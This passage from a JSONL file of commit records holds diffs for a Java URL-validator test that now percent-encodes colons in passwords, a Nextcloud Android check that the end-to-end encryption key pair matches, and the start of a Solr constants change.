(v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -1233,7 +1255,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"sftp://user:pass:@machine:a/the_file\";\n+\t\ts = \"sftp://user:pass%3A@machine:a/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -1329,7 +1351,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"SFTP://user:pass:@machine/the_file\"; //can \":\" be part of a password?\n+\t\ts = \"SFTP://user:pass%3A@machine/the_file\"; //if \":\" is part of a password, it must be encoded (: -> %3A)\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -1341,7 +1363,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_file\");\n \n-\t\ts = \"SFTP://user:pass:@machine/the_dir/\";\n+\t\ts = \"SFTP://user:pass%3A@machine/the_dir/\";\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -1498,7 +1520,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"http://user:pass:@machine/the_file\"; //can \":\" be part of a password?\n+\t\ts = \"http://user:pass%3A@machine/the_file\"; //if \":\" is part of a password, it must be encoded (: -> %3A)\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -1510,7 +1532,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_file\");\n \n-\t\ts = \"http://user:pass:@machine/the_dir/\";\n+\t\ts = \"http://user:pass%3A@machine/the_dir/\";\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -1522,7 +1544,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_dir/\");\n \n-\t\ts = \"http: //user:pass:@machine/the_file\"; //failure tests\n+\t\ts = \"http: //user:pass%3A@machine/the_file\"; //failure tests\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -1534,7 +1556,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"http:/ /user:pass:@machine/the_file\";\n+\t\ts = \"http:/ /user:pass%3A@machine/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -1546,7 +1568,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"http:/ /user:pass:@machine\";\n+\t\ts = \"http:/ /user:pass%3A@machine\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -1558,7 +1580,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"http://user:pass:@:123/a\";\n+\t\ts = \"http://user:pass%3A@:123/a\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -1570,7 +1592,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"http://user:pass:@machine:a/the_file\";\n+\t\ts = \"http://user:pass%3A@machine:a/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -1666,7 +1688,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"HTTP://user:pass:@machine/the_file\"; //can \":\" be part of a password?\n+\t\ts = \"HTTP://user:pass%3A@machine/the_file\"; //if \":\" is part of a password, it must be encoded (: -> %3A)\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -1678,7 +1700,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_file\");\n \n-\t\ts = \"HTTP://user:pass:@machine/the_dir/\";\n+\t\ts = \"HTTP://user:pass%3A@machine/the_dir/\";\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -1690,7 +1712,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_dir/\");\n \n-\t\ts = \"HTTP: //user:pass:@machine/the_file\"; //failure tests\n+\t\ts = \"HTTP: //user:pass%3A@machine/the_file\"; //failure tests\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -1702,7 +1724,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"HTTP:/ /user:pass:@machine/the_file\";\n+\t\ts = \"HTTP:/ /user:pass%3A@machine/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -1714,7 +1736,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"HTTP:/ /user:pass:@machine\";\n+\t\ts = \"HTTP:/ /user:pass%3A@machine\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -1726,7 +1748,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"HTTP://user:pass:@:123/a\";\n+\t\ts = \"HTTP://user:pass%3A@:123/a\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -1738,7 +1760,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"HTTP://user:pass:@machine:a/the_file\";\n+\t\ts = \"HTTP://user:pass%3A@machine:a/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -1835,7 +1857,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"https://user:pass:@machine/the_file\"; //can \":\" be part of a password?\n+\t\ts = \"https://user:pass%3A@machine/the_file\"; //if \":\" is part of a password, it must be encoded (: -> %3A)\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -1847,7 +1869,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_file\");\n \n-\t\ts = \"https://user:pass:@machine/the_dir/\";\n+\t\ts = \"https://user:pass%3A@machine/the_dir/\";\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -1859,7 +1881,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_dir/\");\n \n-\t\ts = \"https: //user:pass:@machine/the_file\"; //failure tests\n+\t\ts = \"https: //user:pass%3A@machine/the_file\"; //failure tests\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -1871,7 +1893,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"https:/ /user:pass:@machine/the_file\";\n+\t\ts = \"https:/ /user:pass%3A@machine/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -1883,7 +1905,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"https:/ /user:pass:@machine\";\n+\t\ts = \"https:/ /user:pass%3A@machine\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -1895,7 +1917,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"https://user:pass:@:123/a\";\n+\t\ts = \"https://user:pass%3A@:123/a\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -1907,7 +1929,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"https://user:pass:@machine:a/the_file\";\n+\t\ts = \"https://user:pass%3A@machine:a/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2003,7 +2025,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"HTTPS://user:pass:@machine/the_file\"; //can \":\" be part of a password?\n+\t\ts = \"HTTPS://user:pass%3A@machine/the_file\"; //if \":\" is part of a password, it must be encoded (: -> %3A)\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2015,7 +2037,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_file\");\n \n-\t\ts = \"HTTPS://user:pass:@machine/the_dir/\";\n+\t\ts = \"HTTPS://user:pass%3A@machine/the_dir/\";\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2027,7 +2049,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_dir/\");\n \n-\t\ts = \"HTTPS: //user:pass:@machine/the_file\"; //failure tests\n+\t\ts = \"HTTPS: //user:pass%3A@machine/the_file\"; //failure tests\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2039,7 +2061,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"HTTPS:/ /user:pass:@machine/the_file\";\n+\t\ts = \"HTTPS:/ /user:pass%3A@machine/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2051,7 +2073,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"HTTPS:/ /user:pass:@machine\";\n+\t\ts = \"HTTPS:/ /user:pass%3A@machine\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2063,7 +2085,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"HTTPS://user:pass:@:123/a\";\n+\t\ts = \"HTTPS://user:pass%3A@:123/a\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2075,7 +2097,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"HTTPS://user:pass:@machine:a/the_file\";\n+\t\ts = \"HTTPS://user:pass%3A@machine:a/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2172,7 +2194,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"webdav://user:pass:@machine/the_file\"; //can \":\" be part of a password?\n+\t\ts = \"webdav://user:pass%3A@machine/the_file\"; //if \":\" is part of a password, it must be encoded (: -> %3A)\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2184,13 +2206,13 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_file\");\n \n-\t\ts = \"webdav://user:pass:@machine/the_dir/\";\n+\t\ts = \"webdav://user:pass%3A@machine/the_dir/\";\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n \t\t}\n \n-\t\ts = \"webdav: //user:pass:@machine/the_file\"; //failure tests\n+\t\ts = \"webdav: //user:pass%3A@machine/the_file\"; //failure tests\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2202,7 +2224,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"webdav:/ /user:pass:@machine/the_file\";\n+\t\ts = \"webdav:/ /user:pass%3A@machine/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2214,7 +2236,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"webdav:/ /user:pass:@machine\";\n+\t\ts = \"webdav:/ /user:pass%3A@machine\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2226,7 +2248,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"webdav://user:pass:@:123/a\";\n+\t\ts = \"webdav://user:pass%3A@:123/a\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2238,7 +2260,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"webdav://user:pass:@machine:a/the_file\";\n+\t\ts = \"webdav://user:pass%3A@machine:a/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2334,7 +2356,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"WEBDAV://user:pass:@machine/the_file\"; //can \":\" be part of a password?\n+\t\ts = \"WEBDAV://user:pass%3A@machine/the_file\"; //if \":\" is part of a password, it must be encoded (: -> %3A)\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2346,7 +2368,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_file\");\n \n-\t\ts = \"WEBDAV://user:pass:@machine/the_dir/\";\n+\t\ts = \"WEBDAV://user:pass%3A@machine/the_dir/\";\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2358,7 +2380,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_dir/\");\n \n-\t\ts = \"WEBDAV: //user:pass:@machine/the_file\"; //failure tests\n+\t\ts = \"WEBDAV: //user:pass%3A@machine/the_file\"; //failure tests\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2370,7 +2392,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"WEBDAV:/ /user:pass:@machine/the_file\";\n+\t\ts = \"WEBDAV:/ /user:pass%3A@machine/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2382,7 +2404,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"WEBDAV:/ /user:pass:@machine\";\n+\t\ts = \"WEBDAV:/ /user:pass%3A@machine\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2394,7 +2416,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"WEBDAV://user:pass:@:123/a\";\n+\t\ts = \"WEBDAV://user:pass%3A@:123/a\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2406,7 +2428,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"WEBDAV://user:pass:@machine:a/the_file\";\n+\t\ts = \"WEBDAV://user:pass%3A@machine:a/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2503,7 +2525,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"smb://user:pass:@machine/the_file\"; //can \":\" be part of a password?\n+\t\ts = \"smb://user:pass%3A@machine/the_file\"; //if \":\" is part of a password, it must be encoded (: -> %3A)\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2515,7 +2537,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_file\");\n \n-\t\ts = \"smb://user:pass:@machine/the_dir/\";\n+\t\ts = \"smb://user:pass%3A@machine/the_dir/\";\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2527,7 +2549,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_dir/\");\n \n-\t\ts = \"smb: //user:pass:@machine/the_file\"; //failure tests\n+\t\ts = \"smb: //user:pass%3A@machine/the_file\"; //failure tests\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2539,7 +2561,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"smb:/ /user:pass:@machine/the_file\";\n+\t\ts = \"smb:/ /user:pass%3A@machine/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2551,7 +2573,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"smb:/ /user:pass:@machine\";\n+\t\ts = \"smb:/ /user:pass%3A@machine\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2563,7 +2585,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"smb://user:pass:@:123/a\";\n+\t\ts = \"smb://user:pass%3A@:123/a\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2575,7 +2597,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"smb://user:pass:@machine:a/the_file\";\n+\t\ts = \"smb://user:pass%3A@machine:a/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2671,7 +2693,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"SMB://user:pass:@machine/the_file\"; //can \":\" be part of a password?\n+\t\ts = \"SMB://user:pass%3A@machine/the_file\"; //if \":\" is part of a password, it must be encoded (: -> %3A)\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2683,7 +2705,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_file\");\n \n-\t\ts = \"SMB://user:pass:@machine/the_dir/\";\n+\t\ts = \"SMB://user:pass%3A@machine/the_dir/\";\n \n \t\tif (!v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2695,7 +2717,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertEquals(v.getFile(), \"/the_dir/\");\n \n-\t\ts = \"SMB: //user:pass:@machine/the_file\"; //failure tests\n+\t\ts = \"SMB: //user:pass%3A@machine/the_file\"; //failure tests\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2707,7 +2729,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"SMB:/ /user:pass:@machine/the_file\";\n+\t\ts = \"SMB:/ /user:pass%3A@machine/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2719,7 +2741,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"SMB:/ /user:pass:@machine\";\n+\t\ts = \"SMB:/ /user:pass%3A@machine\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2731,7 +2753,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"SMB://user:pass:@:123/a\";\n+\t\ts = \"SMB://user:pass%3A@:123/a\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);\n", "related": false}, {"section": "@@ -2743,7 +2765,7 @@ public static void main(String[] args) {\n \t\tv.assertNull(v.getPort());\n \t\tv.assertNull(v.getFile());\n \n-\t\ts = \"SMB://user:pass:@machine:a/the_file\";\n+\t\ts = \"SMB://user:pass%3A@machine:a/the_file\";\n \n \t\tif (v.isValid(s)) {\n \t\t\tv.error_msg(s);", "related": false}]} +{"owner": "nextcloud", "repo": "android", "language": "Java", "file_name": "src/main/java/com/owncloud/android/ui/dialog/SetupEncryptionDialogFragment.java", "commit_id": "355f3c745b464b741b20a3b96597303490c26333", "commit_message": "check e2e keys\n\nSigned-off-by: tobiasKaminsky ", "patch": "@@ -52,6 +52,7 @@\n import java.io.IOException;\n import java.security.KeyPair;\n import java.security.PrivateKey;\n+import java.util.Arrays;\n import java.util.List;\n import java.util.Locale;\n \n@@ -61,6 +62,11 @@\n import androidx.core.graphics.drawable.DrawableCompat;\n import androidx.fragment.app.DialogFragment;\n \n+import static com.owncloud.android.utils.EncryptionUtils.decodeStringToBase64Bytes;\n+import static com.owncloud.android.utils.EncryptionUtils.decryptStringAsymmetric;\n+import static com.owncloud.android.utils.EncryptionUtils.encodeBytesToBase64String;\n+import static com.owncloud.android.utils.EncryptionUtils.generateKey;\n+\n /*\n * Dialog to setup encryption\n */\n@@ -187,24 +193,43 @@ public void onClick(View view) {\n String privateKey = task.get();\n String mnemonicUnchanged = passwordField.getText().toString();\n String mnemonic = passwordField.getText().toString().replaceAll(\"\\\\s\", \"\")\n- .toLowerCase(Locale.ROOT);\n+ .toLowerCase(Locale.ROOT);\n String decryptedPrivateKey = EncryptionUtils.decryptPrivateKey(privateKey,\n- mnemonic);\n+ mnemonic);\n \n arbitraryDataProvider.storeOrUpdateKeyValue(user.getAccountName(),\n- EncryptionUtils.PRIVATE_KEY, decryptedPrivateKey);\n+ EncryptionUtils.PRIVATE_KEY, decryptedPrivateKey);\n \n dialog.dismiss();\n Log_OC.d(TAG, \"Private key successfully decrypted and stored\");\n \n- arbitraryDataProvider.storeOrUpdateKeyValue(user.getAccountName(), EncryptionUtils.MNEMONIC,\n- mnemonicUnchanged);\n+ arbitraryDataProvider.storeOrUpdateKeyValue(user.getAccountName(),\n+ EncryptionUtils.MNEMONIC,\n+ mnemonicUnchanged);\n+\n+ // check if private key and public key match\n+ String publicKey = arbitraryDataProvider.getValue(user.getAccountName(),\n+ EncryptionUtils.PUBLIC_KEY);\n+\n+ byte[] key1 = generateKey();\n+ String base64encodedKey = encodeBytesToBase64String(key1);\n+\n+ String encryptedString = EncryptionUtils.encryptStringAsymmetric(base64encodedKey,\n+ publicKey);\n+ String decryptedString = decryptStringAsymmetric(encryptedString,\n+ decryptedPrivateKey);\n+\n+ byte[] key2 = decodeStringToBase64Bytes(decryptedString);\n+\n+ if (!Arrays.equals(key1, key2)) {\n+ throw new Exception(\"Keys do not match\");\n+ }\n \n Intent intentExisting = new Intent();\n intentExisting.putExtra(SUCCESS, true);\n intentExisting.putExtra(ARG_POSITION, getArguments().getInt(ARG_POSITION));\n getTargetFragment().onActivityResult(getTargetRequestCode(),\n- SETUP_ENCRYPTION_RESULT_CODE, intentExisting);\n+ SETUP_ENCRYPTION_RESULT_CODE, intentExisting);\n \n } catch (Exception e) {\n textView.setText(R.string.end_to_end_encryption_wrong_password);\n@@ -257,7 +282,8 @@ protected String doInBackground(Void... voids) {\n Log_OC.d(TAG, \"public key successful downloaded for \" + user.getAccountName());\n \n String publicKeyFromServer = (String) publicKeyResult.getData().get(0);\n- arbitraryDataProvider.storeOrUpdateKeyValue(user.getAccountName(), EncryptionUtils.PUBLIC_KEY,\n+ arbitraryDataProvider.storeOrUpdateKeyValue(user.getAccountName(),\n+ EncryptionUtils.PUBLIC_KEY,\n publicKeyFromServer);\n } else {\n return null;", "sections": [{"section": "@@ -52,6 +52,7 @@\n import java.io.IOException;\n import java.security.KeyPair;\n import java.security.PrivateKey;\n+import java.util.Arrays;\n import java.util.List;\n import java.util.Locale;\n \n", "related": false}, {"section": "@@ -61,6 +62,11 @@\n import androidx.core.graphics.drawable.DrawableCompat;\n import androidx.fragment.app.DialogFragment;\n \n+import static com.owncloud.android.utils.EncryptionUtils.decodeStringToBase64Bytes;\n+import static com.owncloud.android.utils.EncryptionUtils.decryptStringAsymmetric;\n+import static com.owncloud.android.utils.EncryptionUtils.encodeBytesToBase64String;\n+import static com.owncloud.android.utils.EncryptionUtils.generateKey;\n+\n /*\n * Dialog to setup encryption\n */\n", "related": false}, {"section": "@@ -187,24 +193,43 @@ public void onClick(View view) {\n String privateKey = task.get();\n String mnemonicUnchanged = passwordField.getText().toString();\n String mnemonic = passwordField.getText().toString().replaceAll(\"\\\\s\", \"\")\n- .toLowerCase(Locale.ROOT);\n+ .toLowerCase(Locale.ROOT);\n String decryptedPrivateKey = EncryptionUtils.decryptPrivateKey(privateKey,\n- mnemonic);\n+ mnemonic);\n \n arbitraryDataProvider.storeOrUpdateKeyValue(user.getAccountName(),\n- EncryptionUtils.PRIVATE_KEY, decryptedPrivateKey);\n+ EncryptionUtils.PRIVATE_KEY, decryptedPrivateKey);\n \n dialog.dismiss();\n Log_OC.d(TAG, \"Private key successfully decrypted and stored\");\n \n- arbitraryDataProvider.storeOrUpdateKeyValue(user.getAccountName(), EncryptionUtils.MNEMONIC,\n- mnemonicUnchanged);\n+ arbitraryDataProvider.storeOrUpdateKeyValue(user.getAccountName(),\n+ EncryptionUtils.MNEMONIC,\n+ mnemonicUnchanged);\n+\n+ // check if private key and public key match\n+ String publicKey = arbitraryDataProvider.getValue(user.getAccountName(),\n+ EncryptionUtils.PUBLIC_KEY);\n+\n+ byte[] key1 = generateKey();\n+ String base64encodedKey = encodeBytesToBase64String(key1);\n+\n+ String encryptedString = EncryptionUtils.encryptStringAsymmetric(base64encodedKey,\n+ publicKey);\n+ String decryptedString = decryptStringAsymmetric(encryptedString,\n+ decryptedPrivateKey);\n+\n+ byte[] key2 = decodeStringToBase64Bytes(decryptedString);\n+\n+ if (!Arrays.equals(key1, key2)) {\n+ throw new Exception(\"Keys do not match\");\n+ }\n \n Intent intentExisting = new Intent();\n intentExisting.putExtra(SUCCESS, true);\n intentExisting.putExtra(ARG_POSITION, getArguments().getInt(ARG_POSITION));\n getTargetFragment().onActivityResult(getTargetRequestCode(),\n- SETUP_ENCRYPTION_RESULT_CODE, intentExisting);\n+ SETUP_ENCRYPTION_RESULT_CODE, intentExisting);\n \n } catch (Exception e) {\n textView.setText(R.string.end_to_end_encryption_wrong_password);\n", "related": false}, {"section": "@@ -257,7 +282,8 @@ protected String doInBackground(Void... voids) {\n Log_OC.d(TAG, \"public key successful downloaded for \" + user.getAccountName());\n \n String publicKeyFromServer = (String) publicKeyResult.getData().get(0);\n- arbitraryDataProvider.storeOrUpdateKeyValue(user.getAccountName(), EncryptionUtils.PUBLIC_KEY,\n+ arbitraryDataProvider.storeOrUpdateKeyValue(user.getAccountName(),\n+ EncryptionUtils.PUBLIC_KEY,\n publicKeyFromServer);\n } else {\n return null;", "related": false}]} +{"owner": "nimble-platform", "repo": "common", "language": "Java", "file_name": "data-model/solr-data-model/src/main/java/eu/nimble/service/model/solr/owl/IConcept.java", "commit_id": "3b96cb0293d3443b870351945f41d7d55cb34b53", "commit_message": "Merge pull request #81 from nimble-platform/staging\n\nStaging", "patch": "@@ -4,6 +4,12 @@\n import java.util.Map;\n \n public interface IConcept {\n+\tString SOLR_STRING = \"string\";\n+\tString SOLR_NUMBER = \"pdouble\";\n+\tString SOLR_INT = \"pint\";\n+\tString SOLR_BOOLEAN= \"boolean\";\n+\t\n+\t\n \tString ID_FIELD = 